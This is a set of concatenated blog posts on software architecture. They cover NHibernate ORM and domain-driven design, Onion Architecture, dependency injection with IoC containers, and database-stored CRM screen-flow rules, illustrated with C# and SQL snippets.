Abstracting database to resemble object collection is incredibly hard. But it’s a solved problem. One of the most popular ORM products available today is Hiberate/nHibernate. Here’s an example of using nHibernate to update customer information and add a new account into it:

var customer = session.Linq<Customer>.Where(c=> c.CustomerNumber == custNo).List();
customer.CreditLimit += 500;
customer.AddAccount(new Account(accNo));

The first line above will invoke the following SQL query:

select * from FOH_CUSTOMERS c where c.CUSTOMER_NUMBER = ?

You also notice that there’s nothing in the code above to update the customer table, or to insert to the account table. It’s very much like accessing a normal object Collection: you pull an object from the collection, you mutate the object’s state, and that’s it: the object is already changed. The next time you grab the same customer, you’ll see the changed credit-limit, and the new account under the customer. You didn’t have to invoke update or anything, Hibernate will figure out the way to synchronize the data in your DB tables to reflect these changes.

NHibernate follows the “unit-of-work” pattern (which they call “Session“). Session is the nHibernate equivalent for object Collection. It represent a single isolated set of objects, meaning that if pull an object from a session and change the object’s state, the changes will be immediately visible to anyone using the same session. NHibernate keeps track of all these changes, and when we flush the session, it will do all the yoga to make sure all these changes are saved back to the central database, and therefore become visible to all other sessions. But our code does not have to be aware of any of that.

Therefore, in the example above, when you flush the session the following SQL statements will be executed:

update CRM_CUSTOMERS set CREDIT_LIMIT = ? where CUST_ID = ?;
insert into CRM_ACCOUTNS (ACCOUNT_ID, CUST_ID, ACCOUNT_NUMBER) values (?, ?, ?);

That was all what O/RM is, really. There are plenty other different features that various ORM products offer (lazy-load, futures, caching, associations, projection, batching, etc), but at the very core of all, the ultimate goal of every O/RM products is just that: the ability to “pretend” like a normal object Collection and to pretend like there is no database. At least that’s the goal, which is easier said than done. That feature might not sound such a big deal, but this is nonetheless the very essence of ORM, the one thing without which Domain-Driven-Design code would not be possible (on RDBMS).

O/RM And Domain Driven Design

I’m hoping to expand on DDD topic in later posts, but in a nutshell, our objects are not data bags. Your Customer object, a domain entity, might indeed hold some properties: name, email-address, accounts, credit-limits, etc, but more importantly, it represents the concept of Customer in your domain, and what really matters about it is its behaviors. It is domain behaviors that you’re trying to model as your domain objects. You don’t change the Address property of a Customer, instead the customer might move home. An Employee does not change its Salary property, instead the Employee might get a pay-rise, or maybe a promotion. We don’t just change the Balance of your bank account; we either Deposit(), Withdraw(), or Transfer() some money into bank accounts.

It is, however, extremely hard to write domain-driven code without ORM. I have worked in several projects without ORM on top of RDBMS, and I have to say that there can possibly be only one possible outcome: the objects are designed as normalised bags of properties whose role is merely to hold data to be loaded and saved into database tables. This anti-pattern popularly goes by the name of Anemic-Domain-Model.
The reason ORM takes an exclusive post in this blog series is exactly because I believe ORM is an absolute prerequisite of implementing DDD on top of relational persistence.

Let me present you with the ubiquitous sales-cart example. We’re an online book-store who sells books and magazine subscription. Let’s write a method to add a product into customer’s sales cart. Note that when we add a magazine subscription to the sales cart (which will charge weekly/monthly), the customer will have to re-read and re-agree on the Terms and Conditions of the sale again.

Here’s one implementation, without ORM:

public void AddToSalesCart(Customer customer, string productCode, int quantity)
{
   var salesCart = SalesCartDao.GetCartByCustomerId(customer.Id);
   var product = ProductDao.GetByCode(productCode);
   var cartItem = CartItemDAO.GetBySalesCartIdAndProductCode(salesCart.Id, productCode);

   if(cartItem != null)
   {
      cartItem.Quantity += quantity;
      CartItemDAO.Update(cartItem); // <- persistence
      }
   else
   {
      cartItem = new CartItem
      {
         salesCartId = salesCart.Id,
         ProductId = product.Id;
         Quantity = quantity;
      }
      CartItemDAO.Insert(cartItem); // <- persistence
   }

   if(product.IsSubscription && salesCart.IsTermsConditionAgreed)
   {
       salesCart.IsTermsConditionAgreed = false;
      SalesCartDao.Update(salesCart); // <- persistence
   }
}

The code above is written as a sequence of procedural instructions that puts values on dumb data-bags, which will in turn be used to generate update/insert SQL statements. This kind of code is known as transaction-script (anti-pattern). Unfortunately you cannot encapsulate this logic into domain methods (e.g. salesCart.AddProduct(product, quantity)), because then we don’t have a way to keep track of the changes that the method may make to object states (what table to update/insert). I.e., we have no way to synchronise the state changes back to the database. For this reason, all the objects need to stay as dumb as possible, only containing properties to hold data, and have no method.

ORM changes the game. It allows you to add behaviors to your domain-models because you no longer have to worry about keeping track of state changes. So the code above can be implemented into domain-driven code as such:

public void AddToSalesCart(Customer customer, string productCode, int quantity)
{
   var salesCart = salesCartRepository.Where(s=> s.Customer == customer).First();
   var product = productRepository.Where(p=> p.Code == productCode).First();

   salesCart.AddProduct(product, quantity);
}

public class SalesCart
{
   public void AddProduct(product, quantity)
   {
      var cartItem = items.Where(i=> i.Product == product).First();
      if(cartItem == null)
      {
         cartItem = new CartItem { Product = product};
         items.Add(cartItem);
      }
      cartItem.Quantity += quantity;

      if(product.IsSubscription)
         IsTermConditionAgreed = false;
   }
}

PS: I’ll discuss about “repository” further down, but for now, let’s just say I just renamed DAO into Repository.

In web applications, the code above would probably use session-per-request pattern. Here’s the brief flow of the pattern:

1. When we receive a web-request from the client, the plumbing will start an NHibernateSession. This session will start to track all changes within this web-context.
2. We pulls from repositories all domain entities that are required to perform the user request. (Line 3-4)
3. We invoke domain methods on the entities. (Line 13-22)
4. When we finish processing the request, and send the response back to the client, the plumbing will flush the session, thus saving all changes made in step #2 and #3 to the database.

This way, all the persistence tracking is done by the plumbing. Freed from traking and saving state changes, we are now able to implement our AddProduct logic as a domain method within SalesCart entity, which as you can see, contains no reference to any persistence concern (update/insert). The virtue of POCO/persitence-ignorance.
The application should not access any property under SalesCart directly. Everything has to go via domain methods of SalesCart, because it’s the Aggregate-Root, which we’ll discuss shorty.

Also notice another subtle thing. In the previous code, we reference entities by IDs (e.g. CustomerId, ProductId, SalesCartId), which demonstrates a very relational mindset. The reason it’s done that way is because referencing entities by objects would be an inefficient way from persistence viewpoint. You would have to load the whole entity even when ID would suffice. In the refactored code, objects associations are modeled in a natural way that reflects both domain-driven-design as well as just basic OOP we learned in school. ORM promotes this without compromising performance thanks to lazy-loading. I.e., the 2 following lines are almost exactly equivalent:

salesCart.CustomerId = customerId;
salesCart.Customer = session.Load<Customer>(customerId);

The second line does not make any database-call. It will only return a proxy with that customerId. The nice thing is, unlike customerId, the proxy object still acts as the actual Customer object: it will load from the database the first time we need it, e.g. when accessing salesCart.Customer.FirstName. This is yet another trick ORM pulls to pretend that “there is no database” without hurting performance.

Aggregate Root

SalesCart is an Aggregate-Root, another DDD concept. In essence, an Aggregate Root is an entity that consumers refer to directly, representing a consistency boundary. Aggregate-roots are the only kind of entity to which your application may hold a reference. Each aggregate-root composes and guards its sub-entities, and is persisted as a single unit. This helps avoid the mess (like in previous approach) because you now have a constraint that prevents you from creating a tight coupling to each individual sub-entities.
In our example, SalesCart is an aggregate-root. CartItem is not; it’s merely part of SalesCart aggregate. SalesCart is our single entry-point to the aggregate (e.g. to add a product). You can’t access CartItem directly outside the aggregate boundary, similary you don’t have repository or DAO for CartItem. It’s persisted as part of SalesCart (cascade update/insert/delete). Aggregate concept is a key rule that simplifies domain persistence greatly.

Infrastructure Is Skin Deep

After our previous posts, I hope by now we have agreed on one thing: infrastructure should sit at the outer skin of the application. Our infrastructure concern, in this case, is where and how we persist our domain objects. Before ORM, during the time when building an application was an act of writing some codes to execute a series of SQL statements to JDBC/ADO.NET, it was not possible to pull out database concerns away from our application code without making an unacceptable amount of degradation in performance.

ORM lets you to do exactly that. It hides away the database plumbing so it is not visible from the surface. It replaces the notion of database with something that looks and smells like a normal object Collection. In DDD, this collection of domain objects is known as “Repository”.

Repository

It’s a common mistake to take the term repository as another name for DAO. They might look similar but they are different in principle. If anything, Repository is another name for ICollection, and rightly so. Repeat 3 times, Repository == ICollection: a component that holds references to your objects, allowing you to Get/Find the objects back, and it keeps track of the changes and lifecycles of the objects. Just like an ICollection, it may have various implementations, like ArrayList, Dictionary, perhaps HttpSession, serialized files, or in our case, a relational database. These implementations are insignificant: they sit right at the outer skin of the application, and they are therefore swappable.

Just to remind you with the diagram from the previous post a year back:

IRepository<T> interface sits comfortably in Sheep.Domain.Services at the POCO core of the system. Using ORM, our repository is able to pretend to be a POCO collection. In Sheep.Infrastructure.Data, we have an implementation of the repository (NHibernateRepository<T>) that uses NHibernate to manage the persistence to a relational database. At runtime, this implementation will be injected to the core by IoC container. Note that Sheep.Infrastructure.Data is the only namespace with any reference to System.Data and NHibernate. Outside this namespace, IRepository pretends to be a POCO object collection.

Testability

ORM frameworks abstract your database plumbing into a unified abstraction such like standard object collection. Having this abstraction means that your code is not dependent to specific persistence mechanism. Linq is another language-level abstraction available to .net developers, which nHibernate also leverages. This combination, not only provides ability to substitute your persistence easily between in-memory, web-services, distributed-hash-table, and relational-database, but it also means you can replace the actual mechanism with much simpler fake implementation for testing purpose.

We’ll use the code from our previous code as an example:

public class AuthenticationService: IAuthenticationService
{
    IRepository<User> userRepository;
    ICommunicationService communicationService;

    public UserAuthenticationService(IRepository<User> userRepository, ICommunicationService communicationService)
    {
        this.userRepository = userRepository;
        this.communicationService = communicationService;
    }

    public void SendForgottenPassword(string username)
    {
        User user = userRepository.Where(u=> u.Username == username).First();
        user.ResetPinWith(PinGenerator.GenerateRandomPin());
        if(user != null)
            communicationService.SendEmail(user.EmailAddress, String.Format("Your new PIN is {0}", user.Pin));
    }
}

Here is the unit-test code:

// Arrange
ICommunicationService mockCommunicationService = MockRepository.CreateMock<ICommunicationService>();
IRepository<User> userRepository = new ArrayListRepository<User>();
var user = new User{UserName = “Sheep”, EmailAddress=”test@test.com”, Pin = “123123”};
userRepository.Add(user);

// Action
var authenticationService = new AuthenticationService(userRepository, mockCommunicationService);
authenticationService.SendForgottenPassword(“Sheep”);

// Assert
Assert.That(user.Pin, Is.Not.EqualTo(“123123”), “Password should be reset”);
mockCommunicationService.AssertCalled(x=> x.SendEmail(”test@test.com”, String.Format(“Your new PIN is {0}”, user.Pin));

As you can see, AuthenticationService in our unit-test above uses a simple implementation of IRepository (ArrayListRepository) via dependency-injection. Like ArrayList, this ArrayListRepository simply holds its objects in a variable-size memory list, and is not backed by any persistent database. During runtime, however, AuthenticationService will be using a repository that is backed by database-engine via ORM (e.g. NHibernateRepository). This is normally done by configuring your IoC container, but if it’s to be written by plain code, it would look like:

var authenticationService = new AuthenticationService(new NHibernateRepository<User>(nhSession), emailService);
authenticationService.SendForgottenPassword(“Sheep”);

This way, NHibernateRepository can sit right at the edge of the application. Our application code (AuthenticationService, in this case) does not have to be aware of the relational database, or the ORM. In term of .net speak, your domain projects should not have any reference to System.Data or NHibernate assemblies. Only your outmost layer (Infrastructure and IoC projects) should know about these assemblies.

Model First Development

That all POCO talk in ORM endorses a development flow that starts with you modeling your domain entities as POCO objects, focusing on shaping their behaviours and relationships, without touching any persistence concerns. This development style facilitates Agile, since we no longer need to use any database during early stage of development, which is by plugging Hibernate to an in-memory database (e.g. Sqlite, HSql, SqlCE), so we can focus on evolving our object models and behaviors without getting the friction from database schema in the way. We just go ahead and think in objects and behaviors; we don’t need to think about tables, foreign-keys, joins, CRUD, normalization, etc. Fluent NHibernate greatly smoothens out this methodology

Only at the later stage when we’re already happy with our business code that we would start looking at database infrastructure details, which is actually as simple as plugging our ORM to a real database (Oracle, SqlServer, MySql, etc). NHibernate will do the rest, including generating all the SQL to create all the table schemas for us.
In Agile, it’s highly imperative to delay infrastructure concerns for as long as possible to stay adaptive to changes.

Convention over Configuration

Common resistance of adopting ORM in projects is the sheer complexity of its configuration, particularly in Java side (Hibernate). It’s probably fine in Java: application development in Java is full of XML from nose to toes, verbose, and no one seems to mind about that. But that does not fit very well to .Net development culture where codes are concise, boilerplate codes are plague, XMLs are grotesque beasts, and developers aren’t particularly keen of spending whole afternoon on XML configs before even seeing any running application.

That drove the need for a tool like Fluent NHibernate that allows you to “configure” your ORM using convention. I’m not going to bore you with the detail, but in general, it almost frees you completely from having to configure anything for your ORM to just work and save your objects to your database like magic. It lends itself to model-first-development with zero-friction. You simply go ahead and write your domain objects, then NHibernate will figure out the rest. You can immediately save your objects to the database (and query it), without even touching any mapping configuration from your side. It all sounds too magical. Fluent NHibernate allows this by inspecting your entities and properties, and automatically uses conventions to automatically generate table schemas, column definitions, associations, and constraints for you (e.g. if you choose pluralization, a Person class will be automatically mapped into a generated table named CRM_PEOPLE). You can always then stray away from this convention in a case-per-case basis when necessary by overriding the configuration using its fluent API for your specific entities.

The same capability is also available in Entity Framework since .Net 4.0.

Finally

I have to admit I overhyped many things quite a bit there. Most ORMs suffer from what we call leaky abstraction. There is an impedance mismatch between relational database and object-oriented language. Abstracting relational database into ICollection look-alike is incredibly hard, which is why we need ORM in the first place. It needs a good understanding in how ORM works under the hood in order to use it effectively, and it is very hard. There are luckily some tools that can greatly assist you in doing so like NHibernate Profiler. It analyses the way you use NHibernate, and give you useful advices and warnings when it detects performance problems that might need to be looked at. The existence of such a dedicated commercial tool in a way only highlights how complex ORM framework like NHibernate is.

These complexities with ORM frameworks fueled CQRS architecture and NoSql movement. Now that I have finally got this ORM chat out of the way, hopefully I will get to write some post about these new topics, or rather, about what I have learnt from NoSql and CQRS buzz so far. And now about this series. Next posts will probably cover TDD and DDD, hopefully not after another year of disappearance.

One of the primary reasons to adopt Dependency Injection is that it is impossible to achieve a good layered architecture without it. Many people say that IoC container is only beneficial if you are doing test-driven-development. I disagree. I just don’t understand how you can even build a layered architecture at all without IoC.

First, let’s take a moment to define layered architecture. There is a common misconception about layered architecture, which is largely contributed by misleading diagrams in most textbooks and articles. This is how layered architecture often described in textbooks.

I think that’s rather deceptive. Unfortunately, beginner developers often take this diagram too literally. Each layer depends on the layers below it. Presentation layer depends on business-layer, and then both depend on data-access layer.

There is a huge flaw in that diagram. Data-access layer should be at the outmost part of application. Business layer should be at the core! But in this diagram, Data-access layer is becoming the core foundation of the whole application structure. It is becoming the critical layer. Any change on data-access layer will affect all other layers of the application.

Firstly, this architecture shows an incongruity. Data-access layer, in reality, can never be implemented without dependencies to business detail. E.g. DbUserRepository needs a dependency to User. So what often happens is developers start introducing a circular dependency between Business layer and DataAccess layer. When circular dependency happens between layers, it’s no longer a layered architecture. The linearity is broken.

Secondly, which is more important, this architecture tightly couples the whole application to infrastructure layer. Databases, Web-service, configurations, they are all infrastructure. This structure could not stand without infrastructure. So in this model, developers build the system starting from writing the infrastructure plumbing first (e.g. designing database-tables, drawing ERD diagram, environment configuration), then followed by writing the business code to support the infrastructure.

It’s a bit upside-down and not quite the best approach. If business-layer couples itself with infrastructure concerns, it’s doing way too much. Business layer should know nothing about infrastructure. It should be in the very core of the system. Infrastructure is only a plumbing to support the business-layer, not the other way around. Infrastructure details are most likely to change very frequently, so we definitely do not want to be tightly coupled to it.

Business layer is an area where you have the real meat of your application. You want it to be clean of any infrastructure concern. Development starts from domain-code, not data-access. You want to write the business code right away without setting up or even thinking about the plumbing. One of the guideline in previous post is that we want classes within business layer to be POCO. All classes in business layer should describe purely domain logic WITHOUT having any reference to infrastructure classes like data-access, UI, or configuration. Once we have all domain layer established, then we can start implementing infrastructure plumbing to support it. We get all our domain models baked properly first, before we start thinking about designing the database tables to persist them.

So this is a more accurate picture for layered architecture.

Infrastructure sits at the top of the structure. Domain layer is now the core layer of the application. It doesn’t have any dependency to any other layer. From code perspective, Domain project does not have any reference to any other project, or any persistence library. Databases, just like other infrastructure (UI, web-services), are external to the application, not the centre.

Thus, there is no such thing as "database application". The application might use database as its storage, but simply because we have some external infrastructure code in the neighbourhood implementing the interfaces. The application itself is fully decoupled from database, file-system, etc. This is the primary premise behind layered architecture.

Alistair Cockburn formalizes this concept as Hexagonal Architecture, so does Jeffrey Palermo as Onion Architecture, but they truly are merely formalized vocabularies to refer to the old well-known layered architecture wisdom.

Onion Architecture

To describe the concept, let’s switch the diagrams into onion-rings. Jeffrey Palermo describes bad layering architecture as follows:

In onion diagram, all couplings are toward the centre. The fundamental rule is that all code can only depend on layers more central, never on the layers further out from the core. This way, you can completely tear out and replace the skin of the onion without affecting the core. But you can’t easily take away the core without breaking all outer layers.

In the diagram above, the infrastructure sits in the core of the onion. It becomes an unreplaceable part of the system. The structure cannot stand without infrastructure layer in the core, and the business layer is doing too much by embracing the infrastructure.

This is the better architecture model:

UI and infrastructure sits right at the edge skin of the application. They are replaceable parts of the system. You can take the infrastructure layer completely and the entire structure stays intact.

Implementation

Take a look at the diagram again.

If you follow the previous post, we were building "resend PIN to email" functionality. AuthenticationService is in the domain layer at the core of application, and it does not have knowledge about SMTP client or database (or even where User information is stored). Notice that DbUserRepository and SmtpService are in outmost layer of the application, and they depend downward on the interfaces in the core (IUserRepository, IEmailService) and can implement them. Dependency Injection is the key.

public class AuthenticationService: IAuthenticationService
{
	IUserRepository userRepository;
	ICommunicationService communicationService;
	
	public UserAuthenticationService(IUserRepository userRepository, ICommunicationService communicationService)
	{
		this.userRepository = userRepository;
		this.communicationService = communicationService;
	}
	
	public void SendForgottenPassword(string username)
	{
		User user = userRepository.GetUser(username);
		if(user != null)
			communicationService.SendEmail(user.EmailAddress, String.Format("Your PIN is {0}", user.PIN));
	}
}

At runtime, IoC container will resolve the infrastructure classes that implement the service interfaces (IUserRepository, ICommunicationService) and pass them into UserAuthenticationService constructor.

Project Structure

My typical project structure looks like this in Visual Studio:

I separate each layer into its own project. One of the benefits is that it physically enforces linear dependencies. Each layer can only depend on the layer below it. If a developer introduces a circular dependency between Domain layer and Data-Access, Visual Studio (or Java’s Eclipse) won’t even compile. Here is how these projects work together within the architecture:

Every component depends only to the components in the layer below it. As you can see, the only project that has reference to System.Data and NHibernate library is Sheep.Infrastructure.Data. Likewise, the only project with System.Web.Services reference is Sheep.Infrastructure.BackEnds. And none of those infrastructure projects is referenced by any other part of the application (and this is enforced by Visual Studio). Therefore, they can be totally taken away and replaced without affecting the application core. On the flip side, the whole infrastructure layer is tightly coupled on the core layer.

Domain layer is POCO. It does not depend on any other project, and it does not contain any reference to any dll for particular technology. Not even to IoC framework. It contains just pure business logic code. In order to be executed, this assembly has to be hosted either within a system that can provide infrastructure implementation, or within test system that provides mock dependencies. Hence notice that we have 2 versions of top-level skins in the structure: Infrastructure and Test.

So what’s the benefit?

1. Domain layer is now clean of infrastructure concern. Developers actually write business code in human readable language, not a messy pile of SQL statements/NHibernate, socket programming, XML document, or other alien languages
2. You can write domain code straight from the start without system consideration or waiting for infrastructure implementation. I.e. you don’t need a database at early stage of development, which is invaluable because you eliminate the overhead of keeping your database schemas in sync with domain models that are still shaky and keep changing every few minutes.
3. The application core can be deployed for any client or any infrastructure, as long as they can provide the implementation for the service interfaces required by the domain layer.

Basically, it all describes Single Responsibility Principle (each class should only have 1 reason to change). In the classic diagram, being tightly coupled to data-access layer, domain layer needs to change because of some changes in infrastructure details. Whereas in layered architecture, you can completely tear apart the infrastructure layer at the skin, and replace with arbritary implementation without even leaving a dust on any domain class at the core. Thus there is only 1 reason the classes in domain layer need to change: when the business logic changes.

Having said that, this architecture is not necessarily the best approach for all kind of applications. For simple form-over-data applications, Active-Record approach is probably better. It couples the whole application with data-access concern, but it allows a rapid pace of data-driven development. However, for most non-trivial business applications, loose coupling is a very crucial piece for maintainability.

This whole post is actually an introduction to our next dicussion about Domain Driven Design in some later post.
To be continued in part 3, Object Relational Mapping

I’m going to start a post (or perhaps a series thereof) to discuss some basic practices and fundamental concepts in building software applications. It’s mainly intended for those just getting into software development and seeking some pragmatic introductory guidelines how to start writing good code and how to structure our application. It might also interest seasoned developers as we discuss some great OOS tools to support these good development practices, particularly those unfamiliar with .Net neighbourhood. I’d love to hear feedbacks, opinions, or suggestions about other practices you always put in your list of default development guidelines.

There are obviously other methodologies and architectural styles in building applications, but the ones covered here are actually some of the most essential practices that have been taken as the "default architecture" for typical LoB applications by about every developers ruling the earth today. This is the default architectural project template that I use liberally to start every LoB application development. These guidelines aren’t written in stone, but you will need a very strong reason to break the rules.

I’ll discuss several common architectural patterns, and I start with the most essential one. Dependency Injection is an absolutely essential pattern here, because without it, it’s physically impossible to achieve a proper layered architecture. More about Onion Architecture further down this post.

Dependency Injection

Application codes that are composed of hugely entangled components are extremely hard to maintain. So this is our first rule: C#/Java new keyword is a bitch You probably have heard plenty of times that new is evil and perhaps wondering what’s our problem with the seemingly humble innocent word.

To explain it, let’s start writing some code. Suppose we’re writing an over-simplified service to send forgotten PIN to customer’s email.

public class UserAuthenticationService
{ 
    public void SendForgottenPassword(string username) 
    { 
        User user = DbUserRepository.GetUser(username); 
        if(user != null) 
            SmtpService.SendEmail(user.EmailAddress, "PIN Reminder", 
                String.Format("Hello, your PIN is {0}", user.PIN); 
    } 
} 

This class has direct dependencies to UserRepository and EmailService. This kind of dependency lines between 1 component to another is often referred to as spaghetti code. There are 3 problems with this code:

1. This code cannot be worked on in isolation. In order to execute and understand this component you will need to bring together a fully configured SMTP server and updated database storing User account. If all components in your applications are tied together, it’s quickly going to cause you a serious problem. You constantly need to work with your application in a whole, because all components are entangled together. To change one component, you need to change the others. Developers brains aren’t scalable. As the application grows, you can’t just take the whole components of your systems into your head. You need to be able to work on a small component of the system without the presence of other components. You need to decouple every part of your system to a tiny workable unit.
2. Since this class needs other components to function properly, it means that you cannot unit-test this class. Unit-test requires that your class can be readily executed and interrogated as a single unit. Decoupling and dependency injection is the most important key to unit-test. More detail about unit-test in next post.
3. This code violates the natural structure of application layering. SendForgottenPassword is a business concern, and it needs to be at the core (bottom) layer of the application. DbUserRepository and SMTPService, in the other hand, are infrastructure concern. Infrastructure layer lives in outmost skin of applications. However, what we have here is a wrong direction of dependency. More about application layering and Onion-Architecture later in this post.

DbUserRepository and SmtpService are implemented as static classes. Here is our second rule: static class is an anti-pattern. Not always, but it’s a good rule of thumb.

Let’s refactor that a bit using "Code against interface, not implementation" principle.

 
public class UserAuthenticationService 
{ 
    IUserRepository userRepository = new DbUserRepository(); 
    ICommunicationService communicationService = new SmtpService(); 
    public void SendForgottenPassword(string username) 
    { 
        User user = userRepository.GetUser(username); 
        if(user != null) 
            communicationService.Send(user.EmailAddress, String.Format("Your PIN is {0}", user.PIN); 
    } 
} 

This is better. Now our method is decoupled from any concrete dependency. Instead, we set a contract. The interfaces (IUserRepository, ICommunicationService) are the contract. They merely define what operation you need to perform. We declare that we need to send an email to somebody. At the other end, some class will need to satisfy the contract with an implementation. In this case, SmtpService provides that implementation. Thanks to contract-based programming with interface, now there is no coupling between our code and SmtpService.

There is one problem though. Yes, it still requires direct dependencies to satisfy the new keyword. This is where Inversion-of-Control comes into play. Generally speaking, there are 2 types of Inversion-of-Control (IoC): Service-Locator and Dependency-Injection. Most IoC containers support both patterns.

Let’s now refactor this code to use Service-Locator pattern.

 
public class UserAuthenticationService 
{ 
    IUserRepository userRepository = ServiceLocator.GetInstance("UserRepository"); 
    ICommunicationService communicationService = ServiceLocator.GetInstance("CommunicationService"); 
    public void SendForgottenPassword(string username) 
    { 
        User user = userRepository.GetUser(username); 
        if(user != null) 
            communicationService.SendEmail(user.EmailAddress, String.Format("Your PIN is {0}", user.PIN); 
    } 
}

A little bit better. ServiceLocator will provide you the instance of DbUserRepository and SmtpService based on some kind of IoC configuration, e.g. XML. Now this class is totally clean from any dependency. This class has low coupling. However, this is still not good enough.

1. This class actually has tight runtime coupling. In configuration, you tie "UserRepository" alias with DbUserRepository class. You can’t easily create an instance of UserAuthenticationService in absence of concrete database implementation, or create one that uses different communication method (e.g. using SMS instead of Email).
2. This code is hard to use, mostly because it still has 1 dependency: the ServiceLocator class itself. Now you can only use this class within a running full-blown IoC container. You can’t easily poke around this class in isolation. In order to use this class, you will need to have a well configured service-locator.

Let’s refactor this further into dependency injection.

public class UserAuthenticationService 
{ 
    IUserRepository userRepository; 
    ICommunicationService communicationService; 
    public UserAuthenticationService(IUserRepository userRepository, ICommunicationService communicationService) 
    { 
        this.userRepository = userRepository; 
        this.communicationService = communicationService; 
    } 
    public void SendForgottenPassword(string username) 
    { 
        User user = userRepository.GetUser(username); 
        if(user != null) 
            communicationService.SendEmail(user.EmailAddress, String.Format("Your PIN is {0}", user.PIN); 
    } 
} 

All the dependencies are now injected from the constructor, hence constructor-injection.

This is much better. This class is now free of any dependency. It’s not concerned with database implementation, email infrastructure, or service-locator framework. This is a class that requires no configuration or specific setup, no container, and no infrastructure to use. It’s just a plain class. This characteristic is commonly referred to as POCO (Plain Old CLR Object), or POJO (Plain Old Java Object). So this is our third rule: POCO/POJO classes are good. Always strive for plain domain classes that are completely clean from infrastructure concern.

In Onion Architecture discussed later, EmailService and DbUserRepository are usually located in separate dll, the Infrastructure dll, right at the outmost skin of application layer. So now AuthenticationService does not have a reference to that Infrastructure dll anymore. It only defines interface contract. At runtime, the infrastructure layer will wire in all dependencies to the service.

 authenticationService = new AuthenticationService(dbUserRepositiory, emailService); 

Now you can easily substitute the communication method to sms-service, or you can also easily swap the user-repository with in-memory data cache or a fetch to LDAP server. AuthenticationService knows nothing about those implementation detail. It assumes nothing about application infrastructure. Consequently, you can obviously swap those dependencies with fake objects which makes unit-testing possible.

Managing Side Effect

With injected dependencies, we’re now very explicit about all dependencies that AuthenticationService requires. It’s now clear to client code that methods in AuthenticationService will have side-effects to UserRepository and EmailService, and them only. Client code can accurately guess what impact this code can cause to the system. It is very important that a class should ONLY make side-effect to objects explicitly provided to it. AuthenticationService can never access product-catalogue, or UI screen, or displaying popup dialog, because we don’t provide them any access to it.

That’s why our previous rule was static-class is an anti pattern, because it’s an open invitation for every single objects in whole application to directly access it and silently cause side-effect without even following the right flow of layering. E.g. if you declare your EmailService as static object, then it’s hard to tell which code is responsible for sending welcome emails, and you would never guess that apparently it’s your database-connection object impolitely doing more than it’s trusted with, by accessing the EmailService statically. More about managing side-effect in Command Query Separation principle

Problem

Unfortunately, there is one problem with this approach. Seems like there’s always problems with anything I propose, so just get used to it. So now, every time we need to use UserAuthenticationService, we need to pass all of its dependencies to the constructor. It’s tedious and violates the notion of abstraction. And if the dependencies have further dependencies, we will end up with long chain of dependencies. E.g.:

service = new UserAuthenticationService( 
    new DbUserRepository(new DbConnection()), 
    new SmtpService(new SmtpClient(new TcpConnection())));

It’s smelly. You only care about sending forgotten password, and you don’t want to care about the plumbing to make it happen.

This is how IoC container comes very handy. I usually use Castle Windsor for no particular reason except that I’ve used it for long enough, but thre are many equally popular options like Ninject, Autofac, StructureMaps, Spring.Net, and Unity.
IoC container let you just to write decoupled classes, and at runtime the container will automatically wire all those individual classes for you at runtime.

Zero Friction Development

A typical misguided complaint about using IoC container is that it’s holding up the pace of development, particularly due to its superfluous configuration. Not true. That was in old days when XML still ruled the planet.

The term Rapid Application Development (RAD) has gained a bad reputation thanks to dragy-dropy Visual-Studio designer in early inception of .Net. The term Zero Friction Development is now the new jargon for RAD. Basically when you start an application project, you don’t want to spend a lot of time setting up configurations, writing bunch of classes, initializing several APIs, bringing up application-server, write zillions of boiler-code. You just want to start writing the code right away and get go with a running application immediately. One thing I love about .Net culture over Java (no flame war guys) is its resemblance to RoR culture in term of appreciation to Zero Friction Development. We steal RoR wisdom of Convention over Configuration.

Everyone hates XML. It sucks. Luckily, you need none to setup your IoC container. In Windsor, I only need these lines to specify convention to configure the whole dependencies in the application project:

container.Register( 
    AllTypes.Pick() 
        .FromAssembly(typeof (Infrastructure.Data.Repository<>).Assembly) 
        .WithService.Select(InNamespace("Sheep.Services")));

This code registers all implementation classes in Data assembly, and by convention uses any interface within Sheep.Service namespace as the service-interface. In our case, IUserRepository is the service-contract implemented by DbUserRepository. There are many other ways you can configure your convention, but I would not delve too deep here (you can always check Windsor website for more detail). The point is, this code allows rapid development.

We just simply start writing decoupled classes right away, and declare its required dependencies in constructor arguments, and that’s all. Your class knows nothing about the implementations at all. Windsor will do the rest of the work for you to locate all the implementations from various dll’s at runtime to fill all your dependencies. We end up with rapid and loosely coupled development model.

To be continued in part 2..

It seems like this writing about IoC went on longer than I expected, and I haven’t even touched how anything about our architecture and code structure, which is the main reason why this IoC is required. But I promised you that I was going to discuss Onion Architecture here to show IoC in action? Well, this is the forth rule for you: don’t trust what you read in a blog post. People lie in the Internet. It turns out I won’t do it in this post. It’s long enough to be it’s own post, so I’ll do it in the next post. Meanwhile I’ll appreciate any comment.

Recently I worked on a system that has a dynamic screen flow for a sales process. This is very common functionality in CRM applications. Basically in the sales process, the user is presented with a series of questions (and sets of possible answers in dropdown/radio-button or free-text), and the flow of the questions varies depending on how the user answers the previous questions based on certain business rule. These end-to-end flows and rules are called a script.

So to accomodate this, the developers built a mechanism to store these rules and flows in a set of database tables. Everyone would get terrified if I suggest “just hardcode all of them!.” Typical reaction is that these business-logics are so volatile, subject to change every once in a while. We need XML configuration, or mastered in database, or build DSL. Hardcode just sounds insanely terrifying. They wanted some mechanism that allows easy changes.

So we’ve had this implemented as a set of database tables such like these (among others):

• SCRIPTS, storing several different scripts (representing an end-to-end flows for specific use-case)
• STEPS, represents each step (question/calculation) within a flow
• SCRIPT_STEPS, assign a step into part of a script. Few of its columns:
  • SCRIPT_ID
  • STEP_ID
• STEP_NAVIGATIONS, governs flow between steps of a script. Few of its columns are self-explanatory:
• SCRIPT_ID
• FROM_STEP_ID
• TO_STEP_ID
• CONDITION
• WIDGETS, specifies set of widgets need to be presented for each step. Not every step has UI presentation.
• WIDGET_ID
• WIDGET_TYPE (textbox, textlabel, dropdown, button, etc)
• LABEL
• VALUES
• VALIDATION
• STEP_WIDGETS, finally this is to link several widgets to each step
• STEP_ID
• WIDGET_ID

We put this configuration in database to allow easy change and restructuring. But look around, does that make it somewhat easy?

Reconfiguring the scripts is achieved by writing a series of insert and update SQL statements, changing these obscure columns and those flags in trial-error fashion. Each step/widget/property/navigation are represented in numeric IDs and flags. Even the simplest change to the business flow (e.g. adding a new step) takes careful examination of various tables, changing/adding data in numerous tables, some obscure data manipulation SQL over several tables full of magic numbers and flags to get all stars alligned perfectly. (I always need at least a pencil, a piece of paper, and strong determination just to make the slightest change to the navigation flow).
It feels like programming on punch-cards. And no unit-test is possible to make sure we’re doing it right.

